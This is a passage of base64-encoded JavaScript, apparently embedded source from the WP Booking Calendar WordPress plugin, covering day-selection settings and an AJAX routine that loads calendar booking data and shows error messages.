ZpeGVkKCByZXNvdXJjZV9pZCwgZGF5c19udW1iZXIsIHdlZWtfZGF5c19fc3RhcnQgKTtcclxuXHJcblx0XHR9LCAxMDAwKTtcclxuXHR9KTtcclxufVxyXG5cclxuXHJcbi8qKlxyXG4gKiBTZXQgRml4ZWQgRGF5cyBzZWxlY3Rpb24gd2l0aCAgMSBtb3VzZSBjbGlja1xyXG4gKiBDYW4gYmUgcnVuIGF0IGFueSAgdGltZSwgIHdoZW4gIGNhbGVuZGFyIGRlZmluZWQgLSB1c2VmdWwgZm9yIGNvbnNvbGUgcnVuLlxyXG4gKlxyXG4gKiBAaW50ZWdlciByZXNvdXJjZV9pZFx0XHRcdC0gMVx0XHRcdFx0ICAgLS0gSUQgb2YgYm9va2luZyByZXNvdXJjZSAoY2FsZW5kYXIpIC1cclxuICogQGludGVnZXIgZGF5c19udW1iZXJcdFx0XHQtIDNcdFx0XHRcdCAgIC0tIG51bWJlciBvZiBkYXlzIHRvICBzZWxlY3RcdC1cclxuICogQGFycmF5IHdlZWtfZGF5c19fc3RhcnRcdC0gWy0xXSB8IFsgMSwgNV0gICAtLSAgeyAtMSAtIEFueSB8IDAgLSBTdSwgIDEgLSBNbywgIDIgLSBUdSwgMyAtIFdlLCA0IC0gVGgsIDUgLSBGciwgNiAtIFNhdCB9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9kYXlzX3NlbGVjdF9fZml4ZWQoIHJlc291cmNlX2lkLCBkYXlzX251bWJlciwgd2Vla19kYXlzX19zdGFydCA9IFstMV0gKXtcclxuXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzKCByZXNvdXJjZV9pZCwgeydkYXlzX3NlbGVjdF9tb2RlJzogJ2ZpeGVkJ30gKTtcclxuXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzKCByZXNvdXJjZV9pZCwgeydmaXhlZF9fZGF5c19udW0nOiBwYXJzZUludCggZGF5c19udW1iZXIgKX0gKTtcdFx0XHQvLyBOdW1iZXIgb2YgZGF5cyBzZWxlY3Rpb24gd2l0aCAxIG1vdXNlIGNsaWNrXHJcblx0X3dwYmMuY2FsZW5kYXJfX3NldF9wYXJhbWV0ZXJzKCByZXNvdXJjZV9pZCwgeydmaXhlZF9fd2Vla19kYXlzX19zdGFydCc6IHdlZWtfZGF5c19fc3RhcnR9ICk7IFx0Ly8geyAtMSAtIEFueSB8IDAgLSBTdSwgIDEgLSBNbywgIDIgLSBUdSwgMyAtIFdlLCA0IC0gVGgsIDUgLSBGciwgNiAtIFNhdCB9XHJcblxyXG5cdHdwYmNfY2FsX2RheXNfc2VsZWN0X19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG5cdHdwYmNfY2FsX19yZV9pbml0KCByZXNvdXJjZV9pZCApO1xyXG59XHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcbi8qKlxyXG4gKiBTZXQgUmFuZ2UgRGF5cyBzZWxlY3Rpb24gIHdpdGggIDIgbW91c2UgY2xpY2tzICAtIGFmdGVyIHBhZ2UgbG9hZFxyXG4gKlxyXG4gKiBAaW50ZWdlciByZXNvdXJjZV9pZFx0XHRcdC0gMVx0XHRcdFx0ICAgXHRcdC0tIElEIG9mIGJvb2tpbmcgcmVzb3VyY2UgKGNhbGVuZGFyKVxyXG4gKiBAaW50ZWdlciBkYXlzX21pblx0XHRcdC0gN1x0XHRcdFx0ICAgXHRcdC0tIE1pbiBudW1iZXIgb2YgZGF5cyB0byBzZWxlY3RcclxuICogQGludGVnZXIgZGF5c19tYXhcdFx0XHQtIDMwXHRcdFx0ICAgXHRcdC0tIE1heCBudW1iZXIgb2YgZGF5cyB0byBzZWxlY3RcclxuICogQGFycmF5IGRheXNfc3BlY2lmaWNcdFx0XHQtIFtdIHwgWzcsMTQsMjEsMjhdXHRcdC0tIFJlc3RyaWN0aW9uIGZvciBTcGVjaWZpYyBudW1iZXIgb2YgZGF5cyBzZWxlY3Rpb25cclxuICogQGFycmF5IHdlZWtfZGF5c19fc3RhcnRcdFx0LSBbLTFdIHwgWyAxLCA1XSAgIFx0XHQtLSAgeyAtMSAtIEFueSB8IDAgLSBTdSwgIDEgLSBNbywgIDIgLSBUdSwgMyAtIFdlLCA0IC0gVGgsIDUgLSBGciwgNiAtIFNhdCB9XHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2NhbF9yZWFkeV9kYXlzX3NlbGVjdF9fcmFuZ2UoIHJlc291cmNlX2lkLCBkYXlzX21pbiwgZGF5c19tYXgsIGRheXNfc3BlY2lmaWMgPSBbXSwgd2Vla19kYXlzX19zdGFydCA9IFstMV0gKXtcclxuXHJcblx0Ly8gUmUtZGVmaW5lIHNlbGVjdGlvbiwgb25seSBhZnRlciBwYWdlIGxvYWRlZCB3aXRoIGFsbCBpbml0IHZhcnNcclxuXHRqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7XHJcblxyXG5cdFx0Ly8gV2FpdCAxIHNlY29uZCwganVzdCB0byAgYmUgc3VyZSwgdGhhdCBhbGwgaW5pdCB2YXJzIGRlZmluZWRcclxuXHRcdHNldFRpbWVvdXQoZnVuY3Rpb24oKXtcclxuXHJcblx0XHRcdHdwYmNfY2FsX2RheXNfc2VsZWN0X19yYW5nZSggcmVzb3VyY2VfaWQsIGRheXNfbWluLCBkYXlzX21heCwgZGF5c19zcGVjaWZpYywgd2Vla19kYXlzX19zdGFydCApO1xyXG5cdFx0fSwgMTAwMCk7XHJcblx0fSk7XHJcbn1cclxuXHJcbi8qKlxyXG4gKiBTZXQgUmFuZ2UgRGF5cyBzZWxlY3Rpb24gIHdpdGggIDIgbW91c2UgY2xpY2tzXHJcbiAqIENhbiBiZSBydW4gYXQgYW55ICB0aW1lLCAgd2hlbiAgY2FsZW5kYXIgZGVmaW5lZCAtIHVzZWZ1bCBmb3IgY29uc29sZSBydW4uXHJcbiAqXHJcbiAqIEBpbnRlZ2VyIHJlc291cmNlX2lkXHRcdFx0LSAxXHRcdFx0XHQgICBcdFx0LS0gSUQgb2YgYm9va2luZyByZXNvdXJjZSAoY2FsZW5kYXIpXHJcbiAqIEBpbnRlZ2VyIGRheXNfbWluXHRcdFx0LSA3XHRcdFx0XHQgICBcdFx0LS0gTWluIG51bWJlciBvZiBkYXlzIHRvIHNlbGVjdFxyXG4gKiBAaW50ZWdlciBkYXlzX21heFx0XHRcdC0gMzBcdFx0XHQgICBcdFx0LS0gTWF4IG51bWJlciBvZiBkYXlzIHRvIHNlbGVjdFxyXG4gKiBAYXJyYXkgZGF5c19zcGVjaWZpY1x0XHRcdC0gW10gfCBbNywxNCwyMSwyOF1cdFx0LS0gUmVzdHJpY3Rpb24gZm9yIFNwZWNpZmljIG51bWJlciBvZiBkYXlzIHNlbGVjdGlvblxyXG4gKiBAYXJyYXkgd2Vla19kYXlzX19zdGFydFx0XHQtIFstMV0gfCBbIDEsIDVdICAgXHRcdC0tICB7IC0xIC0gQW55IHwgMCAtIFN1LCAgMSAtIE1vLCAgMiAtIFR1LCAzIC0gV2UsIDQgLSBUaCwgNSAtIEZyLCA2IC0gU2F0IH1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsX2RheXNfc2VsZWN0X19yYW5nZSggcmVzb3VyY2VfaWQsIGRheXNfbWluLCBkYXlzX21heCwgZGF5c19zcGVjaWZpYyA9IFtdLCB3ZWVrX2RheXNfX3N0YXJ0ID0gWy0xXSApe1xyXG5cclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtZXRlcnMoICByZXNvdXJjZV9pZCwgeydkYXlzX3NlbGVjdF9tb2RlJzogJ2R5bmFtaWMnfSAgKTtcclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2R5bmFtaWNfX2RheXNfbWluJyAgICAgICAgICwgcGFyc2VJbnQoIGRheXNfbWluICkgICk7ICAgICAgICAgICBcdFx0Ly8gTWluLiBOdW1iZXIgb2YgZGF5cyBzZWxlY3Rpb24gd2l0aCAyIG1vdXNlIGNsaWNrc1xyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fZGF5c19tYXgnICAgICAgICAgLCBwYXJzZUludCggZGF5c19tYXggKSAgKTsgICAgICAgICAgXHRcdC8vIE1heC4gTnVtYmVyIG9mIGRheXMgc2VsZWN0aW9uIHdpdGggMiBtb3VzZSBjbGlja3NcclxuXHRfd3BiYy5jYWxlbmRhcl9fc2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2R5bmFtaWNfX2RheXNfc3BlY2lmaWMnICAgICwgZGF5c19zcGVjaWZpYyAgKTtcdCAgICAgIFx0XHRcdFx0Ly8gRXhhbXBsZSBbNSw3XVxyXG5cdF93cGJjLmNhbGVuZGFyX19zZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnZHluYW1pY19fd2Vla19kYXlzX19zdGFydCcgLCB3ZWVrX2RheXNfX3N0YXJ0ICApOyAgXHRcdFx0XHRcdC8vIHsgLTEgLSBBbnkgfCAwIC0gU3UsICAxIC0gTW8sICAyIC0gVHUsIDMgLSBXZSwgNCAtIFRoLCA1IC0gRnIsIDYgLSBTYXQgfVxyXG5cclxuXHR3cGJjX2NhbF9kYXlzX3NlbGVjdF9fcmVfaW5pdCggcmVzb3VyY2VfaWQgKTtcclxuXHR3cGJjX2NhbF9fcmVfaW5pdCggcmVzb3VyY2VfaWQgKTtcclxufVxyXG4iLCIvKipcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICpcdGluY2x1ZGVzL19fanMvY2FsX2FqeF9sb2FkL3dwYmNfY2FsX2FqeC5qc1xyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKi9cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vLyAgQSBqIGEgeCAgICBMIG8gYSBkICAgIEMgYSBsIGUgbiBkIGEgciAgICBEIGEgdCBhXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fbG9hZF9kYXRhX19hangoIHBhcmFtcyApe1xyXG5cclxuXHQvL0ZpeEluOiA5LjguNi4yXHJcblx0d3BiY19jYWxlbmRhcl9fbG9hZGluZ19fc3RhcnQoIHBhcmFtc1sncmVzb3VyY2VfaWQnXSApO1xyXG5cdGlmICggd3BiY19iYWxhbmNlcl9faXNfd2FpdCggcGFyYW1zICwgJ3dwYmNfY2FsZW5kYXJfX2xvYWRfZGF0YV9fYWp4JyApICl7XHJcblx0XHRyZXR1cm4gZmFsc2U7XHJcblx0fVxyXG5cclxuXHQvL0ZpeEluOiA5LjguNi4yXHJcblx0d3BiY19jYWxlbmRhcl9fYmx1cl9fc3RvcCggcGFyYW1zWydyZXNvdXJjZV9pZCddICk7XHJcblxyXG5cclxuLy8gY29uc29sZS5ncm91cEVuZCgpOyBjb25zb2xlLnRpbWUoJ3Jlc291cmNlX2lkXycgKyBwYXJhbXNbJ3Jlc291cmNlX2lkJ10pO1xyXG5jb25zb2xlLmdyb3VwQ29sbGFwc2VkKCAnV1BCQ19BSlhfQ0FMRU5EQVJfTE9BRCcgKTsgY29uc29sZS5sb2coICcgPT0gQmVmb3JlIEFqYXggU2VuZCAtIGNhbGVuZGFyc19hbGxfX2dldCgpID09ICcgLCBfd3BiYy5jYWxlbmRhcnNfYWxsX19nZXQoKSApO1xyXG5cclxuXHQvLyBTdGFydCBBamF4XHJcblx0alF1ZXJ5LnBvc3QoIHdwYmNfdXJsX2FqYXgsXHJcblx0XHRcdFx0e1xyXG5cdFx0XHRcdFx0YWN0aW9uICAgICAgICAgIDogJ1dQQkNfQUpYX0NBTEVOREFSX0xPQUQnLFxyXG5cdFx0XHRcdFx0d3BiY19hanhfdXNlcl9pZDogX3dwYmMuZ2V0X3NlY3VyZV9wYXJhbSggJ3VzZXJfaWQnICksXHJcblx0XHRcdFx0XHRub25jZSAgICAgICAgICAgOiBfd3BiYy5nZXRfc2VjdXJlX3BhcmFtKCAnbm9uY2UnICksXHJcblx0XHRcdFx0XHR3cGJjX2FqeF9sb2NhbGUgOiBfd3BiYy5nZXRfc2VjdXJlX3BhcmFtKCAnbG9jYWxlJyApLFxyXG5cclxuXHRcdFx0XHRcdGNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zIDogcGFyYW1zIFx0XHRcdFx0XHRcdC8vIFVzdWFsbHkgbGlrZTogeyAncmVzb3VyY2VfaWQnOiAxLCAnbWF4X2RheXNfY291bnQnOiAzNjUgfVxyXG5cdFx0XHRcdH0sXHJcblxyXG5cdFx0XHRcdC8qKlxyXG5cdFx0XHRcdCAqIFMgdSBjIGMgZSBzIHNcclxuXHRcdFx0XHQgKlxyXG5cdFx0XHRcdCAqIEBwYXJhbSByZXNwb25zZV9kYXRhXHRcdC1cdGl0cyBvYmplY3QgcmV0dXJuZWQgZnJvbSAgQWpheCAtIGNsYXNzLWxpdmUtc2VhcmNoLnBocFxyXG5cdFx0XHRcdCAqIEBwYXJhbSB0ZXh0U3RhdHVzXHRcdC1cdCdzdWNjZXNzJ1xyXG5cdFx0XHRcdCAqIEBwYXJhbSBqcVhIUlx0XHRcdFx0LVx0T2JqZWN0XHJcblx0XHRcdFx0ICovXHJcblx0XHRcdFx0ZnVuY3Rpb24gKCByZXNwb25zZV9kYXRhLCB0ZXh0U3RhdHVzLCBqcVhIUiApIHtcclxuLy8gY29uc29sZS50aW1lRW5kKCdyZXNvdXJjZV9pZF8nICsgcmVzcG9uc2VfZGF0YVsncmVzb3VyY2VfaWQnXSk7XHJcbmNvbnNvbGUubG9nKCAnID09IFJlc3BvbnNlIFdQQkNfQUpYX0NBTEVOREFSX0xPQUQgPT0gJywgcmVzcG9uc2VfZGF0YSApOyBjb25zb2xlLmdyb3VwRW5kKCk7XHJcblxyXG5cdFx0XHRcdFx0Ly9GaXhJbjogOS44LjYuMlxyXG5cdFx0XHRcdFx0dmFyIGFqeF9wb3N0X2RhdGFfX3Jlc291cmNlX2lkID0gd3BiY19nZXRfcmVzb3VyY2VfaWRfX2Zyb21fYWp4X3Bvc3RfZGF0YV91cmwoIHRoaXMuZGF0YSApO1xyXG5cdFx0XHRcdFx0d3BiY19iYWxhbmNlcl9fY29tcGxldGVkKCBhanhfcG9zdF9kYXRhX19yZXNvdXJjZV9pZCAsICd3cGJjX2NhbGVuZGFyX19sb2FkX2RhdGFfX2FqeCcgKTtcclxuXHJcblx0XHRcdFx0XHQvLyBQcm9iYWJseSBFcnJvclxyXG5cdFx0XHRcdFx0aWYgKCAodHlwZW9mIHJlc3BvbnNlX2RhdGEgIT09ICdvYmplY3QnKSB8fCAocmVzcG9uc2VfZGF0YSA9PT0gbnVsbCkgKXtcclxuXHJcblx0XHRcdFx0XHRcdHZhciBqcV9ub2RlICA9IHdwYmNfZ2V0X2NhbGVuZGFyX19qcV9ub2RlX19mb3JfbWVzc2FnZXMoIHRoaXMuZGF0YSApO1xyXG5cdFx0XHRcdFx0XHR2YXIgbWVzc2FnZV90eXBlID0gJ2luZm8nO1xyXG5cclxuXHRcdFx0XHRcdFx0aWYgKCAnJyA9PT0gcmVzcG9uc2VfZGF0YSApe1xyXG5cdFx0XHRcdFx0XHRcdHJlc3BvbnNlX2RhdGEgPSAnVGhlIHNlcnZlciByZXNwb25kcyB3aXRoIGFuIGVtcHR5IHN0cmluZy4gVGhlIHNlcnZlciBwcm9iYWJseSBzdG9wcGVkIHdvcmtpbmcgdW5leHBlY3RlZGx5LiA8YnI+UGxlYXNlIGNoZWNrIHlvdXIgPHN0cm9uZz5lcnJvci5sb2c8L3N0cm9uZz4gaW4geW91ciBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmb3IgcmVsYXRpdmUgZXJyb3JzLic7XHJcblx0XHRcdFx0XHRcdFx0bWVzc2FnZV90eXBlID0gJ3dhcm5pbmcnO1xyXG5cdFx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0XHQvLyBTaG93IE1lc3NhZ2VcclxuXHRcdFx0XHRcdFx0d3BiY19mcm9udF9lbmRfX3Nob3dfbWVzc2FnZSggcmVzcG9uc2VfZGF0YSAsIHsgJ3R5cGUnICAgICA6IG1lc3NhZ2VfdHlwZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZSc6IHsnanFfbm9kZSc6IGpxX25vZGUsICd3aGVyZSc6ICdhZnRlcid9LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaXNfYXBwZW5kJzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3N0eWxlJyAgICA6ICd0ZXh0LWFsaWduOmxlZnQ7JyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICA6IDBcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHRcdFx0XHRcdFx0cmV0dXJuO1xyXG5cdFx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHRcdC8vIFNob3cgQ2FsZW5kYXJcclxuXHRcdFx0XHRcdHdwYmNfY2FsZW5kYXJfX2xvYWRpbmdfX3N0b3AoIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSApO1xyXG5cclxuXHRcdFx0XHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdFx0XHRcdC8vIEJvb2tpbmdzIC0gRGF0ZXNcclxuXHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXRfZGF0ZXMoICByZXNwb25zZV9kYXRhWyAncmVzb3VyY2VfaWQnIF0sIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsnZGF0ZXMnXSAgKTtcclxuXHJcblx0XHRcdFx0XHQvLyBCb29raW5ncyAtIENoaWxkIG9yIG9ubHkgc2luZ2xlIGJvb2tpbmcgcmVzb3VyY2UgaW4gZGF0ZXNcclxuXHRcdFx0XHRcdF93cGJjLmJvb2tpbmdfX3NldF9wYXJhbV92YWx1ZSggcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdLCAncmVzb3VyY2VzX2lkX2Fycl9faW5fZGF0ZXMnLCByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdyZXNvdXJjZXNfaWRfYXJyX19pbl9kYXRlcycgXSApO1xyXG5cclxuXHRcdFx0XHRcdC8vIEFnZ3JlZ2F0ZSBib29raW5nIHJlc291cmNlcywgIGlmIGFueSA/XHJcblx0XHRcdFx0XHRfd3BiYy5ib29raW5nX19zZXRfcGFyYW1fdmFsdWUoIHJlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXSwgJ2FnZ3JlZ2F0ZV9yZXNvdXJjZV9pZF9hcnInLCByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdhZ2dyZWdhdGVfcmVzb3VyY2VfaWRfYXJyJyBdICk7XHJcblx0XHRcdFx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cdFx0XHRcdFx0Ly8gVXBkYXRlIGNhbGVuZGFyXHJcblx0XHRcdFx0XHR3cGJjX2NhbGVuZGFyX191cGRhdGVfbG9vayggcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdICk7XHJcblxyXG5cclxuXHRcdFx0XHRcdGlmIChcclxuXHRcdFx0XHRcdFx0XHQoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZScgXSkgKVxyXG5cdFx0XHRcdFx0XHQgJiYgKCAnJyAhPSByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdhanhfYWZ0ZXJfYWN0aW9uX21lc3NhZ2UnIF0ucmVwbGFjZSggL1xcbi9nLCBcIjxiciAvPlwiICkgKVxyXG5cdFx0XHRcdFx0KXtcclxuXHJcblx0XHRcdFx0XHRcdHZhciBqcV9ub2RlICA9IHdwYmNfZ2V0X2NhbGVuZGFyX19qcV9ub2RlX19mb3JfbWVzc2FnZXMoIHRoaXMuZGF0YSApO1xyXG5cclxuXHRcdFx0XHRcdFx0Ly8gU2hvdyBNZXNzYWdlXHJcblx0XHRcdFx0XHRcdHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZScgXS5yZXBsYWNlKCAvXFxuL2csIFwiPGJyIC8+XCIgKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgICAndHlwZScgICAgIDogKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mKCByZXNwb25zZV9kYXRhWyAnYWp4X2RhdGEnIF1bICdhanhfYWZ0ZXJfYWN0aW9uX21lc3NhZ2Vfc3RhdHVzJyBdICkgKVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgID8gcmVzcG9uc2VfZGF0YVsgJ2FqeF9kYXRhJyBdWyAnYWp4X2FmdGVyX2FjdGlvbl9tZXNzYWdlX3N0YXR1cycgXSA6ICdpbmZvJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZSc6IHsnanFfbm9kZSc6IGpxX25vZGUsICd3aGVyZSc6ICdhZnRlcid9LFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaXNfYXBwZW5kJzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3N0eWxlJyAgICA6ICd0ZXh0LWFsaWduOmxlZnQ7JyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICA6IDEwMDAwXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0Ly8gVHJpZ2dlciBldmVudCB0aGF0IGNhbGVuZGFyIGhhcyBiZWVuXHRcdCAvL0ZpeEluOiAxMC4wLjAuNDRcclxuXHRcdFx0XHRcdGlmICggalF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzcG9uc2VfZGF0YVsgJ3Jlc291cmNlX2lkJyBdICkubGVuZ3RoID4gMCApe1xyXG5cdFx0XHRcdFx0XHR2YXIgdGFyZ2V0X2VsbSA9IGpRdWVyeSggJ2JvZHknICkudHJpZ2dlciggXCJ3cGJjX2NhbGVuZGFyX2FqeF9fbG9hZGVkX2RhdGFcIiwgW3Jlc3BvbnNlX2RhdGFbICdyZXNvdXJjZV9pZCcgXV0gKTtcclxuXHRcdFx0XHRcdFx0IC8valF1ZXJ5KCAnYm9keScgKS5vbiggJ3dwYmNfY2FsZW5kYXJfYWp4X19sb2FkZWRfZGF0YScsIGZ1bmN0aW9uKCBldmVudCwgcmVzb3VyY2VfaWQgKSB7IC4uLiB9ICk7XHJcblx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0Ly9qUXVlcnkoICcjYWpheF9yZXNwb25kJyApLmh0bWwoIHJlc3BvbnNlX2RhdGEgKTtcdFx0Ly8gRm9yIGFiaWxpdHkgdG8gc2hvdyByZXNwb25zZSwgYWRkIHN1Y2ggRElWIGVsZW1lbnQgdG8gcGFnZVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0ICApLmZhaWwoIGZ1bmN0aW9uICgganFYSFIsIHRleHRTdGF0dXMsIGVycm9yVGhyb3duICkgeyAgICBpZiAoIHdpbmRvdy5jb25zb2xlICYmIHdpbmRvdy5jb25zb2xlLmxvZyApeyBjb25zb2xlLmxvZyggJ0FqYXhfRXJyb3InLCBqcVhIUiwgdGV4dFN0YXR1cywgZXJyb3JUaHJvd24gKTsgfVxyXG5cclxuXHRcdFx0XHRcdHZhciBhanhfcG9zdF9kYXRhX19yZXNvdXJjZV9pZCA9IHdwYmNfZ2V0X3Jlc291cmNlX2lkX19mcm9tX2FqeF9wb3N0X2RhdGFfdXJsKCB0aGlzLmRhdGEgKTtcclxuXHRcdFx0XHRcdHdwYmNfYmFsYW5jZXJfX2NvbXBsZXRlZCggYWp4X3Bvc3RfZGF0YV9fcmVzb3VyY2VfaWQgLCAnd3BiY19jYWxlbmRhcl9fbG9hZF9kYXRhX19hangnICk7XHJcblxyXG5cdFx0XHRcdFx0Ly8gR2V0IENvbnRlbnQgb2YgRXJyb3IgTWVzc2FnZVxyXG5cdFx0XHRcdFx0dmFyIGVycm9yX21lc3NhZ2UgPSAnPHN0cm9uZz4nICsgJ0Vycm9yIScgKyAnPC9zdHJvbmc+ICcgKyBlcnJvclRocm93biA7XHJcblx0XHRcdFx0XHRpZiAoIGpxWEhSLnN0YXR1cyApe1xyXG5cdFx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlICs9ICcgKDxiPicgKyBqcVhIUi5zdGF0dXMgKyAnPC9iPiknO1xyXG5cdFx0XHRcdFx0XHRpZiAoNDAzID09IGpxWEhSLnN0YXR1cyApe1xyXG5cdFx0XHRcdFx0XHRcdGVycm9yX21lc3NhZ2UgKz0gJzxicj4gUHJvYmFibHkgbm9uY2UgZm9yIHRoaXMgcGFnZSBoYXMgYmVlbiBleHBpcmVkLiBQbGVhc2UgPGEgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKVwiIG9uY2xpY2s9XCJqYXZhc2NyaXB0OmxvY2F0aW9uLnJlbG9hZCgpO1wiPnJlbG9hZCB0aGUgcGFnZTwvYT4uJztcclxuXHRcdFx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlICs9ICc8YnI+IE90aGVyd2lzZSwgcGxlYXNlIGNoZWNrIHRoaXMgPGEgc3R5bGU9XCJmb250LXdlaWdodDogNjAwO1wiIGhyZWY9XCJodHRwczovL3dwYm9va2luZ2NhbGVuZGFyLmNvbS9mYXEvcmVxdWVzdC1kby1ub3QtcGFzcy1zZWN1cml0eS1jaGVjay8/YWZ0ZXJfdXBkYXRlPTEwLjEuMVwiPnRyb3VibGVzaG9vdGluZyBpbnN0cnVjdGlvbjwvYT4uPGJyPidcclxuXHRcdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdFx0dmFyIG1lc3NhZ2Vfc2hvd19kZWxheSA9IDMwMDA7XHJcblx0XHRcdFx0XHRpZiAoIGpxWEhSLnJlc3BvbnNlVGV4dCApe1xyXG5cdFx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlICs9ICcgJyArIGpxWEhSLnJlc3BvbnNlVGV4dDtcclxuXHRcdFx0XHRcdFx0bWVzc2FnZV9zaG93X2RlbGF5ID0gMTA7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHRlcnJvcl9tZXNzYWdlID0gZXJyb3JfbWVzc2FnZS5yZXBsYWNlKCAvXFxuL2csIFwiPGJyIC8+XCIgKTtcclxuXHJcblx0XHRcdFx0XHR2YXIganFfbm9kZSAgPSB3cGJjX2dldF9jYWxlbmRhcl9fanFfbm9kZV9fZm9yX21lc3NhZ2VzKCB0aGlzLmRhdGEgKTtcclxuXHJcblx0XHRcdFx0XHQvKipcclxuXHRcdFx0XHRcdCAqIElmIHdlIG1ha2UgZmFzdCBjbGlja2luZyBvbiBkaWZmZXJlbnQgcGFnZXMsXHJcblx0XHRcdFx0XHQgKiB0aGVuIHVuZGVyIGNhbGVuZGFyIHdpb